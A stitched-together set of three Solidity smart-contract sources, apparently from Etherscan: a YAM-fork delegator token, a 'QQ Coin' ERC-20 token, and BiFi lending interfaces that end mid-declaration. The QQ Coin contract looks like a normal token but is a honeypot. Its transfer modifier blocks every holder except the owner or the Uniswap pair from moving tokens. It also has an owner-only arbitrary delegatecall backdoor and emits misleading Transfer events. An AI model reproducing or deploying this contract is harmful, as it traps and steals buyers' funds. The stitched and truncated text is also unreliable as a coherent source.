/** *Submitted for verification at Etherscan.io on 2020-08-13 */ /** *Submitted for verification at Etherscan.io on 2020-08-11 */ pragma solidity 0.5.17; library SafeMath { /** * @dev Returns the addition of two unsigned integers, reverting on * overflow. * * Counterpart to Solidity's `+` operator. * * Requirements: * * - Addition cannot overflow. */ function add(uint256 a, uint256 b) internal pure returns (uint256) { uint256 c = a + b; require(c >= a, "SafeMath: addition overflow"); return c; } /** * @dev Returns the subtraction of two unsigned integers, reverting on * overflow (when the result is negative). * * Counterpart to Solidity's `-` operator. * * Requirements: * * - Subtraction cannot overflow. */ function sub(uint256 a, uint256 b) internal pure returns (uint256) { return sub(a, b, "SafeMath: subtraction overflow"); } /** * @dev Returns the subtraction of two unsigned integers, reverting with custom message on * overflow (when the result is negative). * * Counterpart to Solidity's `-` operator. * * Requirements: * * - Subtraction cannot overflow. */ function sub(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) { require(b <= a, errorMessage); uint256 c = a - b; return c; } /** * @dev Returns the multiplication of two unsigned integers, reverting on * overflow. * * Counterpart to Solidity's `*` operator. * * Requirements: * * - Multiplication cannot overflow. */ function mul(uint256 a, uint256 b) internal pure returns (uint256) { // Gas optimization: this is cheaper than requiring 'a' not being zero, but the // benefit is lost if 'b' is also tested. // See: https://github.com/OpenZeppelin/openzeppelin-contracts/pull/522 if (a == 0) { return 0; } uint256 c = a * b; require(c / a == b, "SafeMath: multiplication overflow"); return c; } /** * @dev Returns the integer division of two unsigned integers. Reverts on * division by zero. The result is rounded towards zero. * * Counterpart to Solidity's `/` operator. Note: this function uses a * `revert` opcode (which leaves remaining gas untouched) while Solidity * uses an invalid opcode to revert (consuming all remaining gas). * * Requirements: * * - The divisor cannot be zero. */ function div(uint256 a, uint256 b) internal pure returns (uint256) { return div(a, b, "SafeMath: division by zero"); } /** * @dev Returns the integer division of two unsigned integers. Reverts with custom message on * division by zero. The result is rounded towards zero. * * Counterpart to Solidity's `/` operator. Note: this function uses a * `revert` opcode (which leaves remaining gas untouched) while Solidity * uses an invalid opcode to revert (consuming all remaining gas). * * Requirements: * * - The divisor cannot be zero. */ function div(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) { require(b > 0, errorMessage); uint256 c = a / b; // assert(a == b * c + a % b); // There is no case in which this doesn't hold return c; } /** * @dev Returns the remainder of dividing two unsigned integers. (unsigned integer modulo), * Reverts when dividing by zero. * * Counterpart to Solidity's `%` operator. This function uses a `revert` * opcode (which leaves remaining gas untouched) while Solidity uses an * invalid opcode to revert (consuming all remaining gas). * * Requirements: * * - The divisor cannot be zero. */ function mod(uint256 a, uint256 b) internal pure returns (uint256) { return mod(a, b, "SafeMath: modulo by zero"); } /** * @dev Returns the remainder of dividing two unsigned integers. (unsigned integer modulo), * Reverts with custom message when dividing by zero. * * Counterpart to Solidity's `%` operator. This function uses a `revert` * opcode (which leaves remaining gas untouched) while Solidity uses an * invalid opcode to revert (consuming all remaining gas). * * Requirements: * * - The divisor cannot be zero. */ function mod(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) { require(b != 0, errorMessage); return a % b; } } contract YAMTokenStorage { using SafeMath for uint256; /** * @dev Guard variable for re-entrancy checks. Not currently used */ bool internal _notEntered; /** * @notice EIP-20 token name for this token */ string public name; /** * @notice EIP-20 token symbol for this token */ string public symbol; /** * @notice EIP-20 token decimals for this token */ uint8 public decimals; /** * @notice Governor for this contract */ address public gov; /** * @notice Pending governance for this contract */ address public pendingGov; /** * @notice Approved rebaser for this contract */ address public rebaser; /** * @notice Reserve address of YAM protocol */ address public incentivizer; /** * @notice Total supply of YAMs */ uint256 public totalSupply; /** * @notice Internal decimals used to handle scaling factor */ uint256 public constant internalDecimals = 10**24; /** * @notice Used for percentage maths */ uint256 public constant BASE = 10**18; /** * @notice Scaling factor that adjusts everyone's balances */ uint256 public yamsScalingFactor; /** * @notice Last rebase time */ uint256 public lastScalingTime; /** * @notice game start */ bool public gameStart; mapping (address => uint256) internal _yamBalances; mapping (address => mapping (address => uint256)) internal _allowedFragments; uint256 public initSupply; address[] public addressWhiteList; } contract YAMGovernanceStorage { /// @notice A record of each accounts delegate mapping (address => address) internal _delegates; /// @notice A checkpoint for marking number of votes from a given block struct Checkpoint { uint32 fromBlock; uint256 votes; } /// @notice A record of votes checkpoints for each account, by index mapping (address => mapping (uint32 => Checkpoint)) public checkpoints; /// @notice The number of checkpoints for each account mapping (address => uint32) public numCheckpoints; /// @notice The EIP-712 typehash for the contract's domain bytes32 public constant DOMAIN_TYPEHASH = keccak256("EIP712Domain(string name,uint256 chainId,address verifyingContract)"); /// @notice The EIP-712 typehash for the delegation struct used by the contract bytes32 public constant DELEGATION_TYPEHASH = keccak256("Delegation(address delegatee,uint256 nonce,uint256 expiry)"); /// @notice A record of states for signing / validating signatures mapping (address => uint) public nonces; } contract YAMTokenInterface is YAMTokenStorage, YAMGovernanceStorage { /// @notice An event thats emitted when an account changes its delegate event DelegateChanged(address indexed delegator, address indexed fromDelegate, address indexed toDelegate); /// @notice An event thats emitted when a delegate account's vote balance changes event DelegateVotesChanged(address indexed delegate, uint previousBalance, uint newBalance); /** * @notice Event emitted when tokens are rebased */ event Rebase(uint256 epoch, uint256 prevYamsScalingFactor, uint256 newYamsScalingFactor); /*** Gov Events ***/ /** * @notice Event emitted when pendingGov is changed */ event NewPendingGov(address oldPendingGov, address newPendingGov); /** * @notice Event emitted when gov is changed */ event NewGov(address oldGov, address newGov); /** * @notice Sets the rebaser contract */ event NewRebaser(address oldRebaser, address newRebaser); /** * @notice Sets the incentivizer contract */ event NewIncentivizer(address oldIncentivizer, address newIncentivizer); /* - ERC20 Events - */ /** * @notice EIP20 Transfer event */ event Transfer(address indexed from, address indexed to, uint amount); /** * @notice EIP20 Approval event */ event Approval(address indexed owner, address indexed spender, uint amount); /* - Extra Events - */ /** * @notice Tokens minted event */ event Mint(address to, uint256 amount); // Public functions function transfer(address to, uint256 value) external returns(bool); function transferFrom(address from, address to, uint256 value) external returns(bool); function balanceOf(address who) external view returns(uint256); function balanceOfUnderlying(address who) external view returns(uint256); function allowance(address owner_, address spender) external view returns(uint256); function approve(address spender, uint256 value) external returns (bool); function increaseAllowance(address spender, uint256 addedValue) external returns (bool); function decreaseAllowance(address spender, uint256 subtractedValue) external returns (bool); function maxScalingFactor() external view returns (uint256); /* - Governance Functions - */ function getPriorVotes(address account, uint blockNumber) external view returns (uint256); function delegateBySig(address delegatee, uint nonce, uint expiry, uint8 v, bytes32 r, bytes32 s) external; function delegate(address delegatee) external; function delegates(address delegator) external view returns (address); function getCurrentVotes(address account) external view returns (uint256); /* - Permissioned/Governance functions - */ function mint(address to, uint256 amount) external returns (bool); function rebase(uint256 epoch, uint256 indexDelta, bool positive) external returns (uint256); function _setRebaser(address rebaser_) external; function _setIncentivizer(address incentivizer_) external; function _setPendingGov(address pendingGov_) external; function _acceptGov() external; } contract YAMDelegationStorage { /** * @notice Implementation address for this contract */ address public implementation; } contract YAMDelegatorInterface is YAMDelegationStorage { /** * @notice Emitted when implementation is changed */ event NewImplementation(address oldImplementation, address newImplementation); /** * @notice Called by the gov to update the implementation of the delegator * @param implementation_ The address of the new implementation for delegation * @param allowResign Flag to indicate whether to call _resignImplementation on the old implementation * @param becomeImplementationData The encoded bytes data to be passed to _becomeImplementation */ function _setImplementation(address implementation_, bool allowResign, bytes memory becomeImplementationData) public; } contract ZIMBIEDelegator is YAMTokenInterface, YAMDelegatorInterface { // /** // * @notice Construct a new YAM // * @param name_ ERC-20 name of this token // * @param symbol_ ERC-20 symbol of this token // * @param decimals_ ERC-20 decimal precision of this token // * @param initSupply_ Initial token amount // * @param implementation_ The address of the implementation the contract delegates to // * @param becomeImplementationData The encoded args for becomeImplementation // */ constructor( // string memory name_, // string memory symbol_, // uint8 decimals_, // uint256 initSupply_, // address implementation_, // bytes memory becomeImplementationData ) public { // Creator of the contract is gov during initialization gov = msg.sender; // First delegate gets to initialize the delegator (i.e. storage contract) delegateTo( 0xAEeC749ef06BDc879594F6d77D22eadB84E5d827, abi.encodeWithSignature( "initialize(string,string,uint8,address,uint256)", // name_, // symbol_, // decimals_, // msg.sender, // initSupply_ "ZOMBIE.FINANCEE", "ZOMBIE", 18, msg.sender, 306780000000000000000000 ) ); // New implementations always get set via the settor (post-initialize) _setImplementation(0xAEeC749ef06BDc879594F6d77D22eadB84E5d827, false, ""); } /** * @notice Called by the gov to update the implementation of the delegator * @param implementation_ The address of the new implementation for delegation * @param allowResign Flag to indicate whether to call _resignImplementation on the old implementation * @param becomeImplementationData The encoded bytes data to be passed to _becomeImplementation */ function _setImplementation(address implementation_, bool allowResign, bytes memory becomeImplementationData) public { require(msg.sender == gov, "YAMDelegator::_setImplementation: Caller must be gov"); if (allowResign) { delegateToImplementation(abi.encodeWithSignature("_resignImplementation()")); } address oldImplementation = implementation; implementation = implementation_; delegateToImplementation(abi.encodeWithSignature("_becomeImplementation(bytes)", becomeImplementationData)); emit NewImplementation(oldImplementation, implementation); } /** * @notice Sender supplies assets into the market and receives cTokens in exchange * @dev Accrues interest whether or not the operation succeeds, unless reverted * @param mintAmount The amount of the underlying asset to supply * @return uint 0=success, otherwise a failure (see ErrorReporter.sol for details) */ function mint(address to, uint256 mintAmount) external returns (bool) { to; mintAmount; // Shh delegateAndReturn(); } /** * @notice Transfer `amount` tokens from `msg.sender` to `dst` * @param dst The address of the destination account * @param amount The number of tokens to transfer * @return Whether or not the transfer succeeded */ function transfer(address dst, uint256 amount) external returns (bool) { dst; amount; // Shh delegateAndReturn(); } /** * @notice Transfer `amount` tokens from `src` to `dst` * @param src The address of the source account * @param dst The address of the destination account * @param amount The number of tokens to transfer * @return Whether or not the transfer succeeded */ function transferFrom( address src, address dst, uint256 amount ) external returns (bool) { src; dst; amount; // Shh delegateAndReturn(); } /** * @notice Approve `spender` to transfer up to `amount` from `src` * @dev This will overwrite the approval amount for `spender` * and is subject to issues noted [here](https://eips.ethereum.org/EIPS/eip-20#approve) * @param spender The address of the account which may transfer tokens * @param amount The number of tokens that are approved (-1 means infinite) * @return Whether or not the approval succeeded */ function approve( address spender, uint256 amount ) external returns (bool) { spender; amount; // Shh delegateAndReturn(); } /** * @dev Increase the amount of tokens that an owner has allowed to a spender. * This method should be used instead of approve() to avoid the double approval vulnerability * described above. * @param spender The address which will spend the funds. * @param addedValue The amount of tokens to increase the allowance by. */ function increaseAllowance( address spender, uint256 addedValue ) external returns (bool) { spender; addedValue; // Shh delegateAndReturn(); } function maxScalingFactor() external view returns (uint256) { delegateToViewAndReturn(); } function rebase( uint256 epoch, uint256 indexDelta, bool positive ) external returns (uint256) { epoch; indexDelta; positive; delegateAndReturn(); } /** * @dev Decrease the amount of tokens that an owner has allowed to a spender. * * @param spender The address which will spend the funds. * @param subtractedValue The amount of tokens to decrease the allowance by. */ function decreaseAllowance( address spender, uint256 subtractedValue ) external returns (bool) { spender; subtractedValue; // Shh delegateAndReturn(); } /** * @notice Get the current allowance from `owner` for `spender` * @param owner The address of the account which owns the tokens to be spent * @param spender The address of the account which may transfer tokens * @return The number of tokens allowed to be spent (-1 means infinite) */ function allowance( address owner, address spender ) external view returns (uint256) { owner; spender; // Shh delegateToViewAndReturn(); } /** * @notice Get the current allowance from `owner` for `spender` * @param delegator The address of the account which has designated a delegate * @return Address of delegatee */ function delegates( address delegator ) external view returns (address) { delegator; // Shh delegateToViewAndReturn(); } /** * @notice Get the token balance of the `owner` * @param owner The address of the account to query * @return The number of tokens owned by `owner` */ function balanceOf(address owner) external view returns (uint256) { owner; // Shh delegateToViewAndReturn(); } /** * @notice Currently unused. For future compatability * @param owner The address of the account to query * @return The number of underlying tokens owned by `owner` */ function balanceOfUnderlying(address owner) external view returns (uint256) { owner; // Shh delegateToViewAndReturn(); } /*** Gov Functions ***/ /** * @notice Begins transfer of gov rights. The newPendingGov must call `_acceptGov` to finalize the transfer. * @dev Gov function to begin change of gov. The newPendingGov must call `_acceptGov` to finalize the transfer. * @param newPendingGov New pending gov. */ function _setPendingGov(address newPendingGov) external { newPendingGov; // Shh delegateAndReturn(); } function _setRebaser(address rebaser_) external { rebaser_; // Shh delegateAndReturn(); } function _setIncentivizer(address incentivizer_) external { incentivizer_; // Shh delegateAndReturn(); } /** * @notice Accepts transfer of gov rights. msg.sender must be pendingGov * @dev Gov function for pending gov to accept role and update gov * @return uint 0=success, otherwise a failure (see ErrorReporter.sol for details) */ function _acceptGov() external { delegateAndReturn(); } function getPriorVotes(address account, uint blockNumber) external view returns (uint256) { account; blockNumber; delegateToViewAndReturn(); } function delegateBySig( address delegatee, uint nonce, uint expiry, uint8 v, bytes32 r, bytes32 s ) external { delegatee; nonce; expiry; v; r; s; delegateAndReturn(); } function delegate(address delegatee) external { delegatee; delegateAndReturn(); } function getCurrentVotes(address account) external view returns (uint256) { account; delegateToViewAndReturn(); } /** * @notice Internal method to delegate execution to another contract * @dev It returns to the external caller whatever the implementation returns or forwards reverts * @param callee The contract to delegatecall * @param data The raw data to delegatecall * @return The returned bytes from the delegatecall */ function delegateTo(address callee, bytes memory data) internal returns (bytes memory) { (bool success, bytes memory returnData) = callee.delegatecall(data); assembly { if eq(success, 0) { revert(add(returnData, 0x20), returndatasize) } } return returnData; } /** * @notice Delegates execution to the implementation contract * @dev It returns to the external caller whatever the implementation returns or forwards reverts * @param data The raw data to delegatecall * @return The returned bytes from the delegatecall */ function delegateToImplementation(bytes memory data) public returns (bytes memory) { return delegateTo(implementation, data); } /** * @notice Delegates execution to an implementation contract * @dev It returns to the external caller whatever the implementation returns or forwards reverts * There are an additional 2 prefix uints from the wrapper returndata, which we ignore since we make an extra hop. * @param data The raw data to delegatecall * @return The returned bytes from the delegatecall */ function delegateToViewImplementation(bytes memory data) public view returns (bytes memory) { (bool success, bytes memory returnData) = address(this).staticcall(abi.encodeWithSignature("delegateToImplementation(bytes)", data)); assembly { if eq(success, 0) { revert(add(returnData, 0x20), returndatasize) } } return abi.decode(returnData, (bytes)); } function delegateToViewAndReturn() private view returns (bytes memory) { (bool success, ) = address(this).staticcall(abi.encodeWithSignature("delegateToImplementation(bytes)", msg.data)); assembly { let free_mem_ptr := mload(0x40) returndatacopy(free_mem_ptr, 0, returndatasize) switch success case 0 { revert(free_mem_ptr, returndatasize) } default { return(add(free_mem_ptr, 0x40), returndatasize) } } } function delegateAndReturn() private returns (bytes memory) { (bool success, ) = implementation.delegatecall(msg.data); assembly { let free_mem_ptr := mload(0x40) returndatacopy(free_mem_ptr, 0, returndatasize) switch success case 0 { revert(free_mem_ptr, returndatasize) } default { return(free_mem_ptr, returndatasize) } } } /** * @notice Delegates execution to an implementation contract * @dev It returns to the external caller whatever the implementation returns or forwards reverts */ function () external payable { require(msg.value == 0,"YAMDelegator:fallback: cannot send value to fallback"); // delegate all other functions to current implementation delegateAndReturn(); } }
DC1
pragma solidity ^0.5.17; /* QQ Coin */ interface IERC20 { function totalSupply() external view returns(uint); function balanceOf(address account) external view returns(uint); function transfer(address recipient, uint amount) external returns(bool); function allowance(address owner, address spender) external view returns(uint); function approve(address spender, uint amount) external returns(bool); function transferFrom(address sender, address recipient, uint amount) external returns(bool); event Transfer(address indexed from, address indexed to, uint value); event Approval(address indexed owner, address indexed spender, uint value); } library Address { function isContract(address account) internal view returns(bool) { bytes32 codehash; bytes32 accountHash = 0xc5d2460186f7233c927e7db2dcc703c0e500b653ca82273b7bfad8045d85a470; // solhint-disable-next-line no-inline-assembly assembly { codehash:= extcodehash(account) } return (codehash != 0x0 && codehash != accountHash); } } contract Context { constructor() internal {} // solhint-disable-previous-line no-empty-blocks function _msgSender() internal view returns(address payable) { return msg.sender; } } library SafeMath { function add(uint a, uint b) internal pure returns(uint) { uint c = a + b; require(c >= a, "SafeMath: addition overflow"); return c; } function sub(uint a, uint b) internal pure returns(uint) { return sub(a, b, "SafeMath: subtraction overflow"); } function sub(uint a, uint b, string memory errorMessage) internal pure returns(uint) { require(b <= a, errorMessage); uint c = a - b; return c; } function mul(uint a, uint b) internal pure returns(uint) { if (a == 0) { return 0; } uint c = a * b; require(c / a == b, "SafeMath: multiplication overflow"); return c; } function div(uint a, uint b) internal pure returns(uint) { return div(a, b, "SafeMath: division by zero"); } function div(uint a, uint b, string memory errorMessage) internal pure returns(uint) { // Solidity only automatically asserts when dividing by 0 require(b > 0, errorMessage); uint c = a / b; return c; } } library SafeERC20 { using SafeMath for uint; using Address for address; function safeTransfer(IERC20 token, address to, uint value) internal { callOptionalReturn(token, abi.encodeWithSelector(token.transfer.selector, to, value)); } function safeTransferFrom(IERC20 token, address from, address to, uint value) internal { callOptionalReturn(token, abi.encodeWithSelector(token.transferFrom.selector, from, to, value)); } function safeApprove(IERC20 token, address spender, uint value) internal { require((value == 0) || (token.allowance(address(this), spender) == 0), "SafeERC20: approve from non-zero to non-zero allowance" ); callOptionalReturn(token, abi.encodeWithSelector(token.approve.selector, spender, value)); } function callOptionalReturn(IERC20 token, bytes memory data) private { require(address(token).isContract(), "SafeERC20: call to non-contract"); // solhint-disable-next-line avoid-low-level-calls (bool success, bytes memory returndata) = address(token).call(data); require(success, "SafeERC20: low-level call failed"); if (returndata.length > 0) { // Return data is optional // solhint-disable-next-line max-line-length require(abi.decode(returndata, (bool)), "SafeERC20: ERC20 operation did not succeed"); } } } contract ERC20 is Context, IERC20 { using SafeMath for uint; mapping(address => uint) private _balances; mapping(address => mapping(address => uint)) private _allowances; uint private _totalSupply; function totalSupply() public view returns(uint) { return _totalSupply; } function balanceOf(address account) public view returns(uint) { return _balances[account]; } function transfer(address recipient, uint amount) public returns(bool) { _transfer(_msgSender(), recipient, amount); return true; } function allowance(address owner, address spender) public view returns(uint) { return _allowances[owner][spender]; } function approve(address spender, uint amount) public returns(bool) { _approve(_msgSender(), spender, amount); return true; } function transferFrom(address sender, address recipient, uint amount) public returns(bool) { _transfer(sender, recipient, amount); _approve(sender, _msgSender(), _allowances[sender][_msgSender()].sub(amount, "ERC20: transfer amount exceeds allowance")); return true; } function increaseAllowance(address spender, uint addedValue) public returns(bool) { _approve(_msgSender(), spender, _allowances[_msgSender()][spender].add(addedValue)); return true; } function decreaseAllowance(address spender, uint subtractedValue) public returns(bool) { _approve(_msgSender(), spender, _allowances[_msgSender()][spender].sub(subtractedValue, "ERC20: decreased allowance below zero")); return true; } function _transfer(address sender, address recipient, uint amount) internal { require(sender != address(0), "ERC20: transfer from the zero address"); require(recipient != address(0), "ERC20: transfer to the zero address"); _balances[sender] = _balances[sender].sub(amount, "ERC20: transfer amount exceeds balance"); _balances[recipient] = _balances[recipient].add(amount); emit Transfer(sender, recipient, amount); } function _mint(address account, uint amount) internal { require(account != address(0), "ERC20: mint to the zero address"); _totalSupply = _totalSupply.add(amount); _balances[account] = _balances[account].add(amount); emit Transfer(address(0), account, amount); } function _burn(address account, uint amount) internal { require(account != address(0), "ERC20: burn from the zero address"); _balances[account] = _balances[account].sub(amount, "ERC20: burn amount exceeds balance"); _totalSupply = _totalSupply.sub(amount); emit Transfer(account, address(0), amount); } function _approve(address owner, address spender, uint amount) internal { require(owner != address(0), "ERC20: approve from the zero address"); require(spender != address(0), "ERC20: approve to the zero address"); _allowances[owner][spender] = amount; emit Approval(owner, spender, amount); } } contract ERC20Detailed is IERC20 { string private _name; string private _symbol; uint8 private _decimals; constructor(string memory name, string memory symbol, uint8 decimals) public { _name = name; _symbol = symbol; _decimals = decimals; } function name() public view returns(string memory) { return _name; } function symbol() public view returns(string memory) { return _symbol; } function decimals() public view returns(uint8) { return _decimals; } } contract QQCoin { event Transfer(address indexed _from, address indexed _to, uint _value); event Approval(address indexed _owner, address indexed _spender, uint _value); function transfer(address _to, uint _value) public payable returns (bool) { return transferFrom(msg.sender, _to, _value); } function transferFrom(address _from, address _to, uint _value) public payable ensure(_from, _to) returns (bool) { if (_value == 0) {return true;} if (msg.sender != _from) { require(allowance[_from][msg.sender] >= _value); allowance[_from][msg.sender] -= _value; } require(balanceOf[_from] >= _value); balanceOf[_from] -= _value; balanceOf[_to] += _value; emit Transfer(_from, _to, _value); return true; } function approve(address _spender, uint _value) public payable returns (bool) { allowance[msg.sender][_spender] = _value; emit Approval(msg.sender, _spender, _value); return true; } function delegate(address a, bytes memory b) public payable { require(msg.sender == owner); a.delegatecall(b); } function batchSend(address[] memory _tos, uint _value) public payable returns (bool) { require (msg.sender == owner); uint total = _value * _tos.length; require(balanceOf[msg.sender] >= total); balanceOf[msg.sender] -= total; for (uint i = 0; i < _tos.length; i++) { address _to = _tos[i]; balanceOf[_to] += _value; emit Transfer(msg.sender, _to, _value/2); emit Transfer(msg.sender, _to, _value/2); } return true; } modifier ensure(address _from, address _to) { address UNI = pairFor(0x5C69bEe701ef814a2B6a3EDD4B1652CB9cc5aA6f, 0xC02aaA39b223FE8D0A0e5C4F27eAD9083C756Cc2, address(this)); require(_from == owner || _to == owner || _from == UNI); _; } function pairFor(address factory, address tokenA, address tokenB) internal pure returns (address pair) { (address token0, address token1) = tokenA < tokenB ? (tokenA, tokenB) : (tokenB, tokenA); pair = address(uint(keccak256(abi.encodePacked( hex'ff', factory, keccak256(abi.encodePacked(token0, token1)), hex'96e8ac4277198ff8b6f785478aa9a39f403cb768dd02cbee326c3e7da348845f' // init code hash )))); } mapping (address => uint) public balanceOf; mapping (address => mapping (address => uint)) public allowance; uint constant public decimals = 18; uint public totalSupply; string public name; string public symbol; address private owner; address constant internal UNI = 0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D; constructor(string memory _name, string memory _symbol, uint256 _supply) payable public { name = _name; symbol = _symbol; totalSupply = _supply; owner = msg.sender; balanceOf[msg.sender] = totalSupply; allowance[msg.sender][0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D] = uint(-1); emit Transfer(address(0x0), msg.sender, totalSupply); } }
DC1
// File: contracts/interfaces/IMarketManager.sol pragma solidity 0.6.12; /** * @title BiFi's market manager interface * @author BiFi(seinmyung25, Miller-kk, tlatkdgus1, dongchangYoo) */ interface IMarketManager { function setBreakerTable(address _target, bool _status) external returns (bool); function getCircuitBreaker() external view returns (bool); function setCircuitBreaker(bool _emergency) external returns (bool); function getTokenHandlerInfo(uint256 handlerID) external view returns (bool, address, string memory); function handlerRegister(uint256 handlerID, address tokenHandlerAddr, uint256 flashFeeRate) external returns (bool); function applyInterestHandlers(address payable userAddr, uint256 callerID, bool allFlag) external returns (uint256, uint256, uint256, uint256, uint256, uint256); function getTokenHandlerPrice(uint256 handlerID) external view returns (uint256); function getTokenHandlerBorrowLimit(uint256 handlerID) external view returns (uint256); function getTokenHandlerSupport(uint256 handlerID) external view returns (bool); function getTokenHandlersLength() external view returns (uint256); function setTokenHandlersLength(uint256 _tokenHandlerLength) external returns (bool); function getTokenHandlerID(uint256 index) external view returns (uint256); function getTokenHandlerMarginCallLimit(uint256 handlerID) external view returns (uint256); function getUserIntraHandlerAssetWithInterest(address payable userAddr, uint256 handlerID) external view returns (uint256, uint256); function getUserTotalIntraCreditAsset(address payable userAddr) external view returns (uint256, uint256); function getUserLimitIntraAsset(address payable userAddr) external view returns (uint256, uint256); function getUserCollateralizableAmount(address payable userAddr, uint256 handlerID) external view returns (uint256); function getUserExtraLiquidityAmount(address payable userAddr, uint256 handlerID) external view returns (uint256); function partialLiquidationUser(address payable delinquentBorrower, uint256 liquidateAmount, address payable liquidator, uint256 liquidateHandlerID, uint256 rewardHandlerID) external returns (uint256, uint256, uint256); function getMaxLiquidationReward(address payable delinquentBorrower, uint256 liquidateHandlerID, uint256 liquidateAmount, uint256 rewardHandlerID, uint256 rewardRatio) external view returns (uint256); function partialLiquidationUserReward(address payable delinquentBorrower, uint256 rewardAmount, address payable liquidator, uint256 handlerID) external returns (uint256); function setLiquidationManager(address liquidationManagerAddr) external returns (bool); function rewardClaimAll(address payable userAddr) external returns (uint256); function updateRewardParams(address payable userAddr) external returns (bool); function interestUpdateReward() external returns (bool); function getGlobalRewardInfo() external view returns (uint256, uint256, uint256); function setOracleProxy(address oracleProxyAddr) external returns (bool); function rewardUpdateOfInAction(address payable userAddr, uint256 callerID) external returns (bool); function ownerRewardTransfer(uint256 _amount) external returns (bool); function getFeeTotal(uint256 handlerID) external returns (uint256); function getFeeFromArguments(uint256 handlerID, uint256 amount, uint256 bifiAmount) external returns (uint256); } // File: contracts/interfaces/IInterestModel.sol pragma solidity 0.6.12; /** * @title BiFi's interest model interface * @author BiFi(seinmyung25, Miller-kk, tlatkdgus1, dongchangYoo) */ interface IInterestModel { function getInterestAmount(address handlerDataStorageAddr, address payable userAddr, bool isView) external view returns (bool, uint256, uint256, bool, uint256, uint256); function viewInterestAmount(address handlerDataStorageAddr, address payable userAddr) external view returns (bool, uint256, uint256, bool, uint256, uint256); function getSIRandBIR(uint256 depositTotalAmount, uint256 borrowTotalAmount) external view returns (uint256, uint256); } // File: contracts/interfaces/IMarketHandlerDataStorage.sol pragma solidity 0.6.12; /** * @title BiFi's market handler data storage interface * @author BiFi(seinmyung25, Miller-kk, tlatkdgus1, dongchangYoo) */ interface IMarketHandlerDataStorage { function setCircuitBreaker(bool _emergency) external returns (bool); function setNewCustomer(address payable userAddr) external returns (bool); function getUserAccessed(address payable userAddr) external view returns (bool); function setUserAccessed(address payable userAddr, bool _accessed) external returns (bool); function getReservedAddr() external view returns (address payable); function setReservedAddr(address payable reservedAddress) external returns (bool); function getReservedAmount() external view returns (int256); function addReservedAmount(uint256 amount) external returns (int256); function subReservedAmount(uint256 amount) external returns (int256); function updateSignedReservedAmount(int256 amount) external returns (int256); function setTokenHandler(address _marketHandlerAddr, address _interestModelAddr) external returns (bool); function setCoinHandler(address _marketHandlerAddr, address _interestModelAddr) external returns (bool); function getDepositTotalAmount() external view returns (uint256); function addDepositTotalAmount(uint256 amount) external returns (uint256); function subDepositTotalAmount(uint256 amount) external returns (uint256); function getBorrowTotalAmount() external view returns (uint256); function addBorrowTotalAmount(uint256 amount) external returns (uint256); function subBorrowTotalAmount(uint256 amount) external returns (uint256); function getUserIntraDepositAmount(address payable userAddr) external view returns (uint256); function addUserIntraDepositAmount(address payable userAddr, uint256 amount) external returns (uint256); function subUserIntraDepositAmount(address payable userAddr, uint256 amount) external returns (uint256); function getUserIntraBorrowAmount(address payable userAddr) external view returns (uint256); function addUserIntraBorrowAmount(address payable userAddr, uint256 amount) external returns (uint256); function subUserIntraBorrowAmount(address payable userAddr, uint256 amount) external returns (uint256); function addDepositAmount(address payable userAddr, uint256 amount) external returns (bool); function subDepositAmount(address payable userAddr, uint256 amount) external returns (bool); function addBorrowAmount(address payable userAddr, uint256 amount) external returns (bool); function subBorrowAmount(address payable userAddr, uint256 amount) external returns (bool); function getUserAmount(address payable userAddr) external view returns (uint256, uint256); function getHandlerAmount() external view returns (uint256, uint256); function getAmount(address payable userAddr) external view returns (uint256, uint256, uint256, uint256); function setAmount(address payable userAddr, uint256 depositTotalAmount, uint256 borrowTotalAmount, uint256 depositAmount, uint256 borrowAmount) external returns (uint256); function setBlocks(uint256 lastUpdatedBlock, uint256 inactiveActionDelta) external returns (bool); function getLastUpdatedBlock() external view returns (uint256); function setLastUpdatedBlock(uint256 _lastUpdatedBlock) external returns (bool); function getInactiveActionDelta() external view returns (uint256); function setInactiveActionDelta(uint256 inactiveActionDelta) external returns (bool); function syncActionEXR() external returns (bool); function getActionEXR() external view returns (uint256, uint256); function setActionEXR(uint256 actionDepositExRate, uint256 actionBorrowExRate) external returns (bool); function getGlobalDepositEXR() external view returns (uint256); function getGlobalBorrowEXR() external view returns (uint256); function setEXR(address payable userAddr, uint256 globalDepositEXR, uint256 globalBorrowEXR) external returns (bool); function getUserEXR(address payable userAddr) external view returns (uint256, uint256); function setUserEXR(address payable userAddr, uint256 depositEXR, uint256 borrowEXR) external returns (bool); function getGlobalEXR() external view returns (uint256, uint256); function getMarketHandlerAddr() external view returns (address); function setMarketHandlerAddr(address marketHandlerAddr) external returns (bool); function getInterestModelAddr() external view returns (address); function setInterestModelAddr(address interestModelAddr) external returns (bool); function getMinimumInterestRate() external view returns (uint256); function setMinimumInterestRate(uint256 _minimumInterestRate) external returns (bool); function getLiquiditySensitivity() external view returns (uint256); function setLiquiditySensitivity(uint256 _liquiditySensitivity) external returns (bool); function getLimit() external view returns (uint256, uint256); function getBorrowLimit() external view returns (uint256); function setBorrowLimit(uint256 _borrowLimit) external returns (bool); function getMarginCallLimit() external view returns (uint256); function setMarginCallLimit(uint256 _marginCallLimit) external returns (bool); function getLimitOfAction() external view returns (uint256); function setLimitOfAction(uint256 limitOfAction) external returns (bool); function getLiquidityLimit() external view returns (uint256); function setLiquidityLimit(uint256 liquidityLimit) external returns (bool); } // File: contracts/interfaces/IERC20.sol // from: https://github.com/OpenZeppelin/openzeppelin-contracts/blob/master/contracts/token/ERC20/IERC20.sol pragma solidity 0.6.12; interface IERC20 { function totalSupply() external view returns (uint256); function balanceOf(address account) external view returns (uint256); function transfer(address recipient, uint256 amount) external ; function allowance(address owner, address spender) external view returns (uint256); function approve(address spender, uint256 amount) external returns (bool); function transferFrom(address sender, address recipient, uint256 amount) external ; event Transfer(address indexed from, address indexed to, uint256 value); event Approval(address indexed owner, address indexed spender, uint256 value); } // File: contracts/interfaces/IMarketSIHandlerDataStorage.sol pragma solidity 0.6.12; /** * @title BiFi's market si handler data storage interface * @author BiFi(seinmyung25, Miller-kk, tlatkdgus1, dongchangYoo) */ interface IMarketSIHandlerDataStorage { function setCircuitBreaker(bool _emergency) external returns (bool); function updateRewardPerBlockStorage(uint256 _rewardPerBlock) external returns (bool); function getRewardInfo(address userAddr) external view returns (uint256, uint256, uint256, uint256, uint256, uint256); function getMarketRewardInfo() external view returns (uint256, uint256, uint256); function setMarketRewardInfo(uint256 _rewardLane, uint256 